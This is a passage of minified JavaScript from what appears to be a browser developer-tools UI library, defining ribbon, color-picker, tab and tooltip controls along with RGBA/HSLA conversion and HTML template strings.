if(this.isBackwardEdgeOutOfView(e)){for(t=this.scrollPosition;t>=0;t-=this.scrollIncrement)if(this.isInView(e,t)){this.scrollPosition=t;return}F12.Tools.Utility.Assert.fail("Could not find a scroll setting that brings element fully into view - is your scrollIncrement too big or your panel incorrectly sized?")}}isInView(e,t){return!this.isForwardEdgeOutOfView(e,t)&&!this.isBackwardEdgeOutOfView(e,t)}isBackwardEdgeOutOfView(e,t){void 0!==t&&null!==t||(t=this.scrollPosition);return e[this._offsetProperty]-this.panelRootElement.children[t][this._offsetProperty]<0}isForwardEdgeOutOfView(e,t){void 0!==t&&null!==t||(t=this.scrollPosition);var i=this.panelRootElement.children[t],s=e[this._offsetProperty]+e[this._lengthProperty];return i[this._offsetProperty]+this.panelRootElement[this._lengthProperty]-s<0}updateButtons(){if(this._backwardScrollButton){F12.Tools.Utility.Assert.hasValue(this._forwardScrollButton);this._backwardScrollButton.isEnabled=this.scrollPosition>0;this._forwardScrollButton.isEnabled=this.scrollPosition+this.scrollIncrement<this.getItemCount()}}makeTabbable(e){this.panelRootElement.removeAttribute("tabIndex");null!==this.selectedIndex&&this.panelRootElement.children[this.selectedIndex].setAttribute("tabIndex","-1");F12.Tools.Utility.Assert.hasValue(this._panelTabIndex);e.tabIndex=this._panelTabIndex}setOffset(e){this._currentOffset=e;for(var t=this.panelRootElement.children,i=0;i<t.length;i++)t[i].style[this._positioningProperty]=-e+"px"}setFocus(e){if(!e.contains(document.activeElement)){e.focus();this.panelRootElement.scrollLeft=0;this.panelRootElement.scrollTop=0}}resetState(){this.selectedIndex=null;this.scrollPosition=0;this.refresh()}initializeButtons(){this._backwardScrollButton=this.getNamedControl(i.BackwardScrollButtonName);F12.Tools.Utility.Assert.hasValue(this._backwardScrollButton,"RibbonControl template must have a backward button control named "+i.BackwardScrollButtonName+" as a direct child");this._forwardScrollButton=this.getNamedControl(i.ForwardScrollButtonName);F12.Tools.Utility.Assert.hasValue(this._backwardScrollButton,"RibbonControl template must have a forward button control named "+i.ForwardScrollButtonName+" as a direct child");this._backwardScrollButton.click.addHandler(this._backwardScrollHandler);this._forwardScrollButton.click.addHandler(this._forwardScrollHandler);this.updateButtons()}cleanupButtons(){if(this._backwardScrollButton){F12.Tools.Utility.Assert.hasValue(this._forwardScrollButton);this._backwardScrollButton.isEnabled=!1;this._forwardScrollButton.isEnabled=!1;this._backwardScrollButton.click.removeHandler(this._backwardScrollHandler);this._forwardScrollButton.click.removeHandler(this._forwardScrollHandler);this._backwardScrollButton=null;this._forwardScrollButton=null}}initializeKeyboard(){this.rootElement.removeAttribute("tabIndex");this._backwardScrollButton.rootElement.removeAttribute("tabIndex");this._forwardScrollButton.rootElement.removeAttribute("tabIndex");this.getNamedElement(t.ItemsControl.PanelRootElementName).addEventListener("focusin",this._onFocusInHandler);this.getNamedElement(t.ItemsControl.PanelRootElementName).addEventListener("focusout",this._onFocusOutHandler);this.getNamedElement(t.ItemsControl.PanelRootElementName).addEventListener("keydown",this._onKeyDownhandler)}cleanupKeyboard(){this.getNamedElement(t.ItemsControl.PanelRootElementName).removeEventListener("focusin",this._onFocusInHandler);this.getNamedElement(t.ItemsControl.PanelRootElementName).removeEventListener("focusout",this._onFocusOutHandler);this.getNamedElement(t.ItemsControl.PanelRootElementName).removeEventListener("keydown",this._onKeyDownhandler)}}i.HORIZONTAL_PANEL_CLASS="BPT-horizontalRibbonPanel";i.PANEL_CLASS="BPT-ribbonPanel";i.SELECTED_ITEM_CLASS="BPT-selected";i.BackwardScrollButtonName="_backwardScrollButton";i.ForwardScrollButtonName="_forwardScrollButton";i.IsVerticalPropertyName="isVertical";i.ScrollIncrementPropertyName="scrollIncrement";i.ScrollPositionPropertyName="scrollPosition";i.SelectedIndexPropertyName="selectedIndex";i.SelectedItemPropertyName="selectedItem";t.RibbonControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){"use strict";class t{constructor(e,t,i,s){this.red=e;this.green=t;this.blue=i;this.alpha=s;this.assertValid()}static getString(e){var i=new t(0,0,0,0);i.setFromString(e);var s=t.DUMMY_ELEMENT.style.color;return s&&"inherit"!==s&&"currentColor"!==s&&"invert"!==s?i.toString():""}setFromString(e){t.DUMMY_ELEMENT.style.color="";t.DUMMY_ELEMENT.style.color=e;var i=t.DUMMY_ELEMENT.style.color;if(!i||"inherit"===i||"currentColor"===i||"invert"===i)return!1;if("transparent"===i)return this.setFromRgba(this.red,this.green,this.blue,0);for(var s=document.defaultView.getComputedStyle(t.DUMMY_ELEMENT,null).color,n=0;n<t.RGBA_REGEXPS.length;n++){if(null!==t.RGBA_REGEXPS[n].exec(s))return this.setFromRgba(this.toNumber(RegExp.$1),this.toNumber(RegExp.$2),this.toNumber(RegExp.$3),RegExp.$4?this.toNumber(RegExp.$4):1)}F12.Tools.Utility.Assert.fail("Unexpected computed color string format");return!1}setFromHsla(e){e.assertValid();var t,i,s=e.hue/360,n=e.saturation/100,o=e.lightness/100;t=2*o-(i=o<=.5?o*(n+1):o+n-o*n);return this.setFromRgba(Math.round(255*this.hslToRgbHelper(t,i,s+1/3)),Math.round(255*this.hslToRgbHelper(t,i,s)),Math.round(255*this.hslToRgbHelper(t,i,s-1/3)),e.alpha)}setFromRgba(e,t,i,s){if(this.red!==e||this.green!==t||this.blue!==i||this.alpha!==s){this.red=e;this.green=t;this.blue=i;this.alpha=s;this.assertValid();return!0}return!1}toString(){return 0===this.alpha?t.TRANSPARENT_STRING:"rgba("+this.red+", "+this.green+", "+this.blue+", "+this.alpha+")"}assertValid(){F12.Tools.Utility.Assert.isTrue(this.red>=0&&this.red<=255,"Invalid red channel");F12.Tools.Utility.Assert.isTrue(this.green>=0&&this.green<=255,"Invalid green channel");F12.Tools.Utility.Assert.isTrue(this.blue>=0&&this.blue<=255,"Invalid blue channel");F12.Tools.Utility.Assert.isTrue(this.alpha>=0&&this.alpha<=1,"Invalid alpha")}hslToRgbHelper(e,t,i){i<0&&(i+=1);i>1&&(i-=1);return 6*i<1?e+(t-e)*i*6:2*i<1?t:3*i<2?e+(t-e)*(2/3-i)*6:e}toNumber(e){return+e}}t.DUMMY_ELEMENT=document.head.appendChild(document.createElement("div"));t.RGBA_REGEXPS=[/^ *rgba\(([0-9]+), *([0-9]+), *([0-9]+), *([0-9.]+)\) *$/,/^ *rgb\(([0-9]+), *([0-9]+), *([0-9]+)\) *$/];t.TRANSPARENT_STRING="rgba(0, 0, 0, 0)";e.RgbaColor=t;class i{constructor(e,t,i,s){this.hue=e;this.saturation=t;this.lightness=i;this.alpha=s;this.assertValid()}setFromRgba(e){e.assertValid();var t,i,s,n=e.red/255,o=e.green/255,r=e.blue/255,a=e.alpha,l=Math.max(n,o,r),h=Math.min(n,o,r),d=l-h;s=Math.round(.5*(l+h)*100);if(0===d){i=0;t=this.hue}else{var c;if(n===l)c=(o-r)/d%6;else if(o===l)c=(r-n)/d+2;else{F12.Tools.Utility.Assert.areEqual(r,l);c=(n-o)/d+4}t=Math.round(60*c+360)%360;i=Math.round(d/(1-Math.abs(l+h-1))*100)}return this.setFromHsla(t,i,s,a)}setFromHsla(e,t,i,s){if(this.hue!==e||this.saturation!==t||this.lightness!==i||this.alpha!==s){this.hue=e;this.saturation=t;this.lightness=i;this.alpha=s;this.assertValid();return!0}return!1}assertValid(){F12.Tools.Utility.Assert.isTrue(this.hue>=0&&this.hue<360,"Invalid hue");F12.Tools.Utility.Assert.isTrue(this.saturation>=0&&this.saturation<=100,"Invalid saturation");F12.Tools.Utility.Assert.isTrue(this.lightness>=0&&this.lightness<=100,"Invalid lightness");F12.Tools.Utility.Assert.isTrue(this.alpha>=0&&this.alpha<=1,"Invalid alpha")}}e.HslaColor=i}(Common||(Common={}));!function(e){"use strict";class t{static initialize(){t.AlphaConverter=t.getAlphaConverter()}static getAlphaConverter(){return{convertTo:e=>(100*e).toString(),convertFrom:e=>e/100}}}e.ColorSlidersConverters=t;t.initialize()}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e||"Common.slidersPaneTemplate")}onInitializeOverride(){this._rgba=new e.RgbaColor(0,0,0,1);this._hsla=new e.HslaColor(180,0,0,1);this._color="rgba(0, 0, 0, 1)"}get color(){return this._color}set color(e){if(e&&e!==this._color){this._color=e;if(this._rgba.setFromString(e)&&this._hsla.setFromRgba(this._rgba)){this.propertyChanged.invoke(i.HuePropertyName);this.propertyChanged.invoke(i.SaturationPropertyName);this.propertyChanged.invoke(i.LightnessPropertyName);this.propertyChanged.invoke(i.AlphaPropertyName)}this.propertyChanged.invoke(i.ColorPropertyName)}}get hue(){return this._hsla.hue}set hue(e){if(e!==this._hsla.hue){this._hsla.hue=e;if(this._rgba.setFromHsla(this._hsla)){this._color=this._rgba.toString();this.propertyChanged.invoke(i.ColorPropertyName)}this.propertyChanged.invoke(i.HuePropertyName)}}get saturation(){return this._hsla.saturation}set saturation(e){if(e!==this._hsla.saturation){this._hsla.saturation=e;if(this._rgba.setFromHsla(this._hsla)){this._color=this._rgba.toString();this.propertyChanged.invoke(i.ColorPropertyName)}this.propertyChanged.invoke(i.SaturationPropertyName)}}get lightness(){return this._hsla.lightness}set lightness(e){if(e!==this._hsla.lightness){this._hsla.lightness=e;if(this._rgba.setFromHsla(this._hsla)){this._color=this._rgba.toString();this.propertyChanged.invoke(i.ColorPropertyName)}this.propertyChanged.invoke(i.LightnessPropertyName)}}get alpha(){return this._hsla.alpha}set alpha(e){if(e!==this._hsla.alpha){this._hsla.alpha=e;if(this._rgba.setFromHsla(this._hsla)){this._color=this._rgba.toString();this.propertyChanged.invoke(i.ColorPropertyName)}this.propertyChanged.invoke(i.AlphaPropertyName)}}}i.DUMMY_ELEMENT=document.createElement("div");i.RGBA_REGEXPS=[/^ *rgba\(([0-9]+), *([0-9]+), *([0-9]+), *([0-9.]+)\) *$/,/^ *rgb\(([0-9]+), *([0-9]+), *([0-9]+)\) *$/];i.AlphaPropertyName="alpha";i.ColorPropertyName="color";i.HuePropertyName="hue";i.LightnessPropertyName="lightness";i.SaturationPropertyName="saturation";t.ColorPickerSlidersControl=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.PopupControl{constructor(t){super(t||"Common.defaultColorPickerTemplate");this.color="rgba(0, 0, 0, 1)";this.paletteColors=new e.ObservableCollection;this.dismissOnTargetButtonClick=!0}get color(){return this._color}set color(e){if(e&&e!==this._color){this._color=e;this.propertyChanged.invoke(i.ColorPropertyName)}}static initialize(){e.ObservableHelpers.defineProperty(i,i.CancellationColorPropertyName,null);e.ObservableHelpers.defineProperty(i,i.IsCompactViewPropertyName,!1,e=>e.onIsCompactViewChanged());e.ObservableHelpers.defineProperty(i,i.IsPaletteLoadingPropertyName,!1);e.ObservableHelpers.defineProperty(i,i.IsSlidersShownPropertyName,!1,e=>e.onIsSlidersShownChanged());e.ObservableHelpers.defineProperty(i,i.PaletteColorsPropertyName,null)}onInitializeOverride(){super.onInitializeOverride();this._onFocusInHandler=(e=>this.onFocusIn(e))}onApplyTemplate(){super.onApplyTemplate();this._palette=this.getNamedControl(i.PALETTE_NAME);F12.Tools.Utility.Assert.hasValue(this._palette,"Color picker template must have a ribbon control named "+i.PALETTE_NAME);if(Microsoft.Plugin.F12.isTargetEdge){this.getNamedControl("slidersButton").isVisible=!1}var e=this.getNamedElement(i.SLIDERS_CONTROL_NAME);e&&e.addEventListener("focusin",this._onFocusInHandler)}onTemplateChanging(){if(this.rootElement){var e=this.getNamedElement(i.SLIDERS_CONTROL_NAME);e&&e.removeEventListener("focusin",this._onFocusInHandler)}this._palette&&(this._palette=null);super.onTemplateChanging()}onIsVisibleChangedOverride(){super.onIsVisibleChangedOverride();if(this.isVisible){this.cancellationColor=this.color;this._palette.refresh()}else this.cancellationColor=null}onKeyDownOverride(e){return!!this.onCustomKeyDown&&this.onCustomKeyDown(e)}onKeyUpOverride(t){var i=!1;switch(t.keyCode){case e.KeyCodes.Escape:this.color=this.cancellationColor;break;case e.KeyCodes.Enter:this.isVisible=!1;i=!0}i||(i=super.onKeyUpOverride(t));return i}onIsCompactViewChanged(){var t=this.getNamedElement("selectedColorPane");if(t)if(this.isCompactView){t.classList.add(e.TemplateControl.CLASS_HIDDEN);t.setAttribute("aria-hidden","true")}else{t.classList.remove(e.TemplateControl.CLASS_HIDDEN);t.removeAttribute("aria-hidden")}}onIsSlidersShownChanged(){this.updateSlidersMaxHeight()}updateSlidersMaxHeight(){var e=this.getNamedElement(i.SLIDERS_CONTROL_NAME);if(e){var t=this.viewportMargin&&this.viewportMargin.top||0,s=window.innerHeight-(this.viewportMargin&&this.viewportMargin.bottom||0);e.style.maxHeight="";this.updatePopupPosition();var n=e.getBoundingClientRect(),o=Math.floor(n.bottom)-s;if(o>0){if(this.targetButtonElement){var r=this.targetButtonElement.getBoundingClientRect();if(Math.abs(r.top-t)>Math.abs(r.bottom-s)){var a=this.rootElement.getBoundingClientRect();o=Math.max(0,Math.floor(t+a.height-r.top))}}var l=e.scrollHeight-o;e.style.maxHeight=Math.max(30,l)+"px"}else e.style.maxHeight="";this.updatePopupPosition()}}onFocusIn(e){for(var t=document.getElementsByClassName(i.SLIDER_CLASS_NAME),s=0;s<t.length;s++){var n=t[s];if(n.contains(e.target)){var o=n.getAttribute("data-plugin-vs-tooltip");if(o){var r=n.getBoundingClientRect(),a={content:o,x:r.left,y:r.top};Microsoft.Plugin.Tooltip.show(a);return}}}}}i.PALETTE_NAME="_colorPalette";i.SLIDERS_CONTROL_NAME="slidersPane";i.SLIDER_CLASS_NAME="colorSlider";i.CancellationColorPropertyName="cancellationColor";i.ColorPropertyName="color";i.IsCompactViewPropertyName="isCompactView";i.IsPaletteLoadingPropertyName="isPaletteLoading";i.IsSlidersShownPropertyName="isSlidersShown";i.PaletteColorsPropertyName="paletteColors";t.ColorPickerControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e||"Common.tabControlTemplate");this._items=[]}get selectedItem(){return this._selectedItem}set selectedItem(e){if(this._selectedItem!==e){if(e&&!this.containsTab(e))return;if(this._selectedItem){this._selectedItem.header.rootElement.setAttribute("tabindex","-1");this._selectedItem.active=!1}this._selectedItem=e;if(this._selectedItem){this._selectedItem.header.rootElement.setAttribute("tabindex","0");this._selectedItem.active=!0}if(this.selectedItemChanged){this.selectedItem.tabPane&&this.selectedItem.tabPane.onTabActivated();this.selectedItemChanged()}}}static initialize(){e.ObservableHelpers.defineProperty(i,i.TabsLeftAlignedPropertyName,!0)}addTab(e){this._items.push(e);e.ownerTabControl=this;this._barPanel.appendChild(e.header.rootElement);this._contentPane.appendChild(e.rootElement);this._selectedItem||(this.selectedItem=e)}onApplyTemplate(){super.onApplyTemplate();this._barPanel=this.getNamedElement("tabBar");F12.Tools.Utility.Assert.hasValue(this._barPanel,"Unable to find element with name tabBar");this._barPanel.setAttribute("role","tabList");this._barPanel.addEventListener("keydown",this.onKeyDown.bind(this));this._contentPane=this.getNamedElement("tabContentPane");F12.Tools.Utility.Assert.hasValue(this._contentPane,"Unable to find element with name tabContentPane");this.beforeBarContainer=this.getNamedElement("beforeBarContainer");this.afterBarContainer=this.getNamedElement("afterBarContainer");this._tabBarContainer=this.getNamedElement("tabBarContainer");F12.Tools.Utility.Assert.hasValue(this._tabBarContainer,"Unable to find element with name tabBarContainer")}removeTab(e){var t=this._items.indexOf(e);if(!(t<0)){this.selectedItem===e&&(this.selectedItem=null);this._items.splice(t,1);var i=Math.min(this._items.length-1,t);i>=0&&(this.selectedItem=this._items[i]);this._barPanel.removeChild(e.header.rootElement);this._contentPane.removeChild(e.rootElement);e.ownerTabControl=null}}containsTab(e){return this._items.indexOf(e)>=0}getTab(e){return this._items[e]}getTabIndex(e){return this._items.indexOf(e)}length(){return this._items.length}onTabItemSelected(e){this.selectedItem=e}onKeyDown(t){var i=this._items.filter((e,t,i)=>e.isEnabled),s=i.indexOf(this._selectedItem);s>=0?t.keyCode===e.KeyCodes.ArrowRight?this.selectedItem=i[(s+1)%i.length]:t.keyCode===e.KeyCodes.ArrowLeft&&(this.selectedItem=i[s-1<0?i.length-1:s-1]):i.length>0&&(this.selectedItem=i[0]);this._selectedItem.header.rootElement.focus()}}i.TabsLeftAlignedPropertyName="tabsLeftAligned";t.TabControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(t){super(t||"Common.tabHeaderTemplate");this._click=new e.EventSource;this._onKeyDownHandler=this.onKeyDown.bind(this)}get click(){return this._click}static initialize(){e.ObservableHelpers.defineProperty(i,i.ActivePropertyName,!1);e.ObservableHelpers.defineProperty(i,i.TitlePropertyName,"")}onApplyTemplate(){super.onApplyTemplate();this.rootElement.onclick=this.onHeaderClicked.bind(this);this._onKeyDownHandler&&this.rootElement.addEventListener("keydown",this._onKeyDownHandler)}onTemplateChanging(){this.rootElement&&this._onKeyDownHandler&&this.rootElement.removeEventListener("keydown",this._onKeyDownHandler)}onHeaderClicked(){this.isEnabled&&this.click.invoke()}onKeyDown(t){t.keyCode!==e.KeyCodes.Enter&&t.keyCode!==e.KeyCodes.Space||this.onHeaderClicked()}}i.ActivePropertyName="active";i.TitlePropertyName="title";t.TabHeader=i;i.initialize();class s extends t.ContentControl{constructor(e){super(e||"Common.tabItemTemplate");this.header=new i;this.header.click.addHandler(()=>this.onHeaderClicked());this.header.rootElement.setAttribute("role","tab");this._onResizeHandler=(()=>{this._tabPane&&this._tabPane.onTabResize()})}get tabPane(){return this._tabPane}set tabPane(e){this._tabPane=e;this.content=e.rootElement;this._onResizeHandler()}get ownerTabControl(){return this._ownerTabControl}set ownerTabControl(e){if(this._ownerTabControl!==e){if(this._ownerTabControl&&e)throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1022"));this._ownerTabControl=e}this._ownerTabControl?window.addEventListener("resize",this._onResizeHandler):window.removeEventListener("resize",this._onResizeHandler)}static initialize(){e.ObservableHelpers.defineProperty(s,s.ActivePropertyName,!1,e=>e.onActiveChanged());e.ObservableHelpers.defineProperty(s,s.TitlePropertyName,"",e=>e.onTitleChanged())}onContentChangedOverride(e){e&&this.rootElement.removeChild(e);this.rootElement.appendChild(this.content)}onTooltipChangedOverride(){super.onTooltipChangedOverride();this.header&&(this.header.tooltip=this.tooltip)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.header.isEnabled=this.isEnabled}onActiveChanged(){this.header.active=this.active}onHeaderClicked(){this.isEnabled&&this.ownerTabControl&&(this.ownerTabControl.selectedItem=this)}onKeyDown(t){t.keyCode!==e.KeyCodes.Enter&&t.keyCode!==e.KeyCodes.Space||this.onHeaderClicked()}onTitleChanged(){this.header.title=this.title}}s.ActivePropertyName="active";s.TitlePropertyName="title";t.TabItem=s;s.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e||"Common.sourceInfoTooltipTemplate")}get html(){return this.rootElement.outerHTML}static initialize(){e.ObservableHelpers.defineProperty(i,i.TitleLabelResourceIdPropertyName,null);e.ObservableHelpers.defineProperty(i,i.TitlePropertyName,null)}onApplyTemplate(){super.onApplyTemplate();var e=this.getNamedElement("sourceInfoFileLabel");F12.Tools.Utility.Assert.isTrue(e,"Expecting a named element");e.innerText=Microsoft.Plugin.Resources.getString("/Common/ScriptErrorFile","");var t=this.getNamedElement("sourceInfoLineLabel");F12.Tools.Utility.Assert.isTrue(e,"Expecting a named element");t.innerText=Microsoft.Plugin.Resources.getString("/Common/ScriptErrorLine","");var i=this.getNamedElement("sourceInfoColumnLabel");F12.Tools.Utility.Assert.isTrue(e,"Expecting a named element");i.innerText=Microsoft.Plugin.Resources.getString("/Common/ScriptErrorColumn","")}}i.TitleLabelResourceIdPropertyName="titleLabelResourceId";i.TitlePropertyName="title";t.SourceInfoTooltip=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){class t{}t.defaultButtonTemplate='<div class="BPT-button" tabindex="1"></div>';t.iconButton24x24='<div class="BPT-button iconButton24x24" tabindex="1">            <span class="buttonIcon"></span>        </div>';t.menuButton33x24='<div class="BPT-button menuButton33x24" tabindex="1">            <span class="buttonIcon"></span>        </div>';t.menuButton33x24x5='<div class="BPT-button menuButton33x24 imageStates5" tabindex="1">            <span class="buttonIcon"></span>        </div>';t.iconButton='<div class="BPT-button iconButton" tabindex="1">            <span class="buttonIcon"></span>        </div>';t.labeledIconButton='<div class="BPT-button labeledIconButton" tabindex="1">            <span class="buttonIcon"></span>            <span class="buttonText" data-controlbinding="innerText:content"></span>        </div>';t.defaultToolbarTemplate='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <span class="BPT-ToolTitle" data-controlbinding="innerText:title,                                            attr-aria-label:title"></span>                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>            </div>        </div>';t.toolbarTemplateWithSearchControl='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <span class="BPT-ToolTitle" data-controlbinding="innerText:title,                                            attr-aria-label:title"></span>                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>                <div data-name="_searchControl" data-control="Common.Controls.SearchControl"></div>            </div>        </div>';t.searchBoxTemplate='<div data-name="searchBoxBorder" id="searchBoxBorder" class="BPT-SearchBox-Border">            <input type="text" id="searchbox" class="BPT-SearchBox" tabindex="1" role="search" data-name="_textBoxRoot" data-controlbinding="attr-data-plugin-vs-tooltip:tooltip,                                         value:text; mode=twoway,                                         placeholder:placeholder" data-options="attr-aria-label:/Common/SearchBoxTooltip; converter=Common.CommonConverters.ResourceConverter,                                  attr-data-plugin-vs-tooltip:/Common/SearchBoxPlaceholder; converter=Common.CommonConverters.ResourceConverter" />            <div data-name="searchPreviousResult" id="searchPreviousResult" class="BPT-Search-Button" role="button" tabindex="0" data-options="attr-data-plugin-vs-tooltip:/Common/SearchPrevText; converter=Common.CommonConverters.ResourceConverter,                                attr-aria-label:/Common/SearchPrevText; converter=Common.CommonConverters.ResourceConverter">                <div class="BPT-Search-Previous"></div>            </div>            <div data-name="searchNextResult" id="searchNextResult" class="BPT-Search-Button" role="button" tabindex="0" data-options="attr-data-plugin-vs-tooltip:/Common/SearchNextText; converter=Common.CommonConverters.ResourceConverter,                                attr-aria-label:/Common/SearchNextText; converter=Common.CommonConverters.ResourceConverter">                <div class="BPT-Search-Next"></div>            </div>        </div>';t.toolbarTemplateWithSearchBox='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <span class="BPT-ToolTitle" data-controlbinding="innerText:title,                                            attr-aria-label:title"></span>                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>                <div id="searchBoxBorder" class="BPT-SearchBox-Border">                    <input type="text" id="searchbox" class="BPT-SearchBox" tabindex="1" />                    <div id="searchPreviousResult" class="BPT-Search-Button" role="button" tabindex="1">                        <div class="BPT-Search-Previous"></div>                    </div>                    <div id="searchNextResult" class="BPT-Search-Button" role="button" tabindex="1">                        <div class="BPT-Search-Next"></div>                    </div>                </div>            </div>        </div>';t.toolbarTemplateWithoutTitle='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>            </div>        </div>';t.menuControlTemplate='<div class="BPT-menuControl" role="menu">            <div data-control="Common.TemplateControl" data-controlbinding="model:model,                                       templateId:menuItemsTemplateId" data-options="className:BPT-menuContent"></div>        </div>';t.menuItemTemplate='<li class="menuItem" role="menuitem" tabindex="0" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip">            <div class="gutter"></div>            <span data-controlbinding="innerText:content,                                        attr-aria-label:content"></span>        </li>';t.menuItemCheckMarkTemplate='<li class="menuItem" role="menuitemcheckbox" tabindex="0" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip">            <img class="menuToggleItem gutter" data-options="src:plugin-menu-item-checkmark; converter=Common.CommonConverters.ThemedImageConverter" />            <span data-controlbinding="innerText:content,                                        attr-aria-label:content"></span>        </li>';t.menuItemCheckBoxTemplate='<li class="menuItem" role="menuitemcheckbox" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip">            <input type="checkbox" data-name="BPT-menuItemCheckBox" data-controlbinding="checked:isChecked; mode=twoway, attr-aria-label:content" />            <span data-controlbinding="innerText:content,                                        attr-aria-label:content"></span>        </li>';t.menuItemComboBoxTemplate='<li class="menuItem comboBoxMenuItem" role="menuitem" tabindex="-1">            <div data-control="Common.Controls.ComboBox" data-name="BPT-menuItemComboBox" data-controlbinding="items:items,                                      selectedValue:selectedValue; mode=twoway,                                      tooltip:tooltip" data-options="tabIndex:0"></div>        </li>';t.menuItemTextBoxTemplate='<li class="menuItem textBoxMenuItem" role="menuitem" tabindex="-1">            <div data-control="Common.Controls.TextBox" data-name="BPT-menuItemTextBox" data-controlbinding="isEnabled:isEnabled,                                      placeholder:placeholder,                                      text:content; mode=twoway,                                      tooltip:tooltip" data-options="clearOnEscape:1,                               tabIndex:0,                               updateOnInput:1"></div>        </li>';t.defaultComboBoxTemplate='<select data-controlbinding="value:selectedValue; mode=twoway" data-options="tabIndex:0"></select>';t.defaultComboBoxItemTemplate='<option data-binding="attr-aria-label:label,                               attr-data-plugin-vs-tooltip:tooltip,                               title:tooltip,                               text:text,                               value:value"></option>';t.defaultTextBoxTemplate='<input type="text" class="BPT-TextBox" data-controlbinding="attr-data-plugin-vs-tooltip:tooltip,                                     value:text; mode=twoway,                                     placeholder:placeholder" />';t.tabHeaderTemplate='<li tabindex="-1" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip,                                  class-active:active,                                  class-disabled:isEnabled; converter=Common.CommonConverters.InvertBool,                                  tabindex: isEnabled; converter=Common.CommonConverters.IsTabbableToTabIndexConverter,                                  textContent:title"></li>';t.tabItemTemplate='<div class="BPT-tabItem tabItemContent" data-controlbinding="class-active:active"></div>';t.tabControlTemplate='<div class="BPT-tabControl">            <div class="tabHeader">                <div data-name="beforeBarContainer" class="beforeBarContainer"></div>                <nav data-name="tabBarContainer" class="tabBarContainer" data-controlbinding="class-tabBarContainerLeftAlign:tabsLeftAligned">                    <ul data-name="tabBar" class="tabBar"></ul>                </nav>                <div data-name="afterBarContainer" class="afterBarContainer"></div>            </div>            <div data-name="tabContentPane" class="tabContentPane"></div>        </div>';t.sourceInfoTemplate='<div class="BPT-FileLink">            <a data-controlbinding="class-BPT-hidden:mappedSourceInfo; converter=Common.CommonConverters.InvertBool">                <span data-controlbinding="innerText:mappedSourceInfo.name"></span>                (<span data-controlbinding="innerText:mappedSourceInfo.source; converter=Common.CommonConverters.CreateShortenedUrlConverter"></span>:<span data-controlbinding="innerText:mappedSourceInfo.line; converter=Common.CommonConverters.IntToStringConverter"></span>)            </a>        </div>';t.sourceInfoSourceOnlyTemplate='<div class="BPT-FileLink">            <a data-controlbinding="class-BPT-hidden:mappedSourceInfo; converter=Common.CommonConverters.InvertBool">                <span data-controlbinding="innerText:mappedSourceInfo.source; converter=Common.CommonConverters.CreateShortenedUrlConverter"></span>:<span data-controlbinding="innerText:mappedSourceInfo.line; converter=Common.CommonConverters.IntToStringConverter"></span></a>        </div>';t.sourceInfoNameOnlyTemplate='<div class="BPT-FileLink">            <a data-controlbinding="class-BPT-hidden:mappedSourceInfo; converter=Common.CommonConverters.InvertBool">                <span data-controlbinding="innerText:mappedSourceInfo.name"></span>            </a>        </div>';t.sourceInfoTooltipTemplate='<div class="BPT-sourceInfoTooltip">            <div class="sourceInfoNameLabel" data-controlbinding="class-BPT-hidden:titleLabelResourceId; converter=Common.CommonConverters.InvertBool,                                                                   innerText:titleLabelResourceId; converter=Common.CommonConverters.ResourceConverter"></div>            <div class="sourceInfoName" data-controlbinding="class-BPT-hidden:title; converter=Common.CommonConverters.InvertBool,                                                              innerText:title"></div>            <div class="sourceInfoFileLabel" data-name="sourceInfoFileLabel"></div>            <div class="sourceInfoFile" data-binding="innerText:source"></div>            <div class="sourceInfoLineLabel" data-name="sourceInfoLineLabel"></div>            <div class="sourceInfoLine" data-binding="innerText:line; converter=Common.CommonConverters.IntToStringWithGroupSeperatorConverter"></div>            <div class="sourceInfoColumnLabel" data-name="sourceInfoColumnLabel"></div>            <div class="sourceInfoColumn" data-binding="innerText:column; converter=Common.CommonConverters.IntToStringWithGroupSeperatorConverter"></div>        </div>';t.virtualizingStackPanelTemplate='<div class="BPT-stackPanel">            <div data-name="contentSizer" class="BPT-contentSizer"></div>            <div data-name="content"></div>        </div>';t.stackPanelTemplate='<div class="BPT-stackPanel">            <div id="contentSizer" class="BPT-contentSizer"></div>            <div id="content"></div>        </div>';t.defaultTreeItemDataTemplate='<div class="BPT-treeItemDataTemplate">            <div data-name="expander"></div>        </div>';t.defaultColorPickerTemplate='<div class="colorPicker">            <div data-name="selectedColorPane" class="selectedColorPane">                <div data-name="selectedColorSquare" data-control="Common.Controls.Button" data-control-templateid="Common.selectedColorTemplate" data-controlbinding="content:color,                                           tooltip:color"></div>                <div data-name="selectedColorText" data-control="Common.Controls.TextBox" data-controlbinding="text:color" data-options="className:selectedColorValue,                                    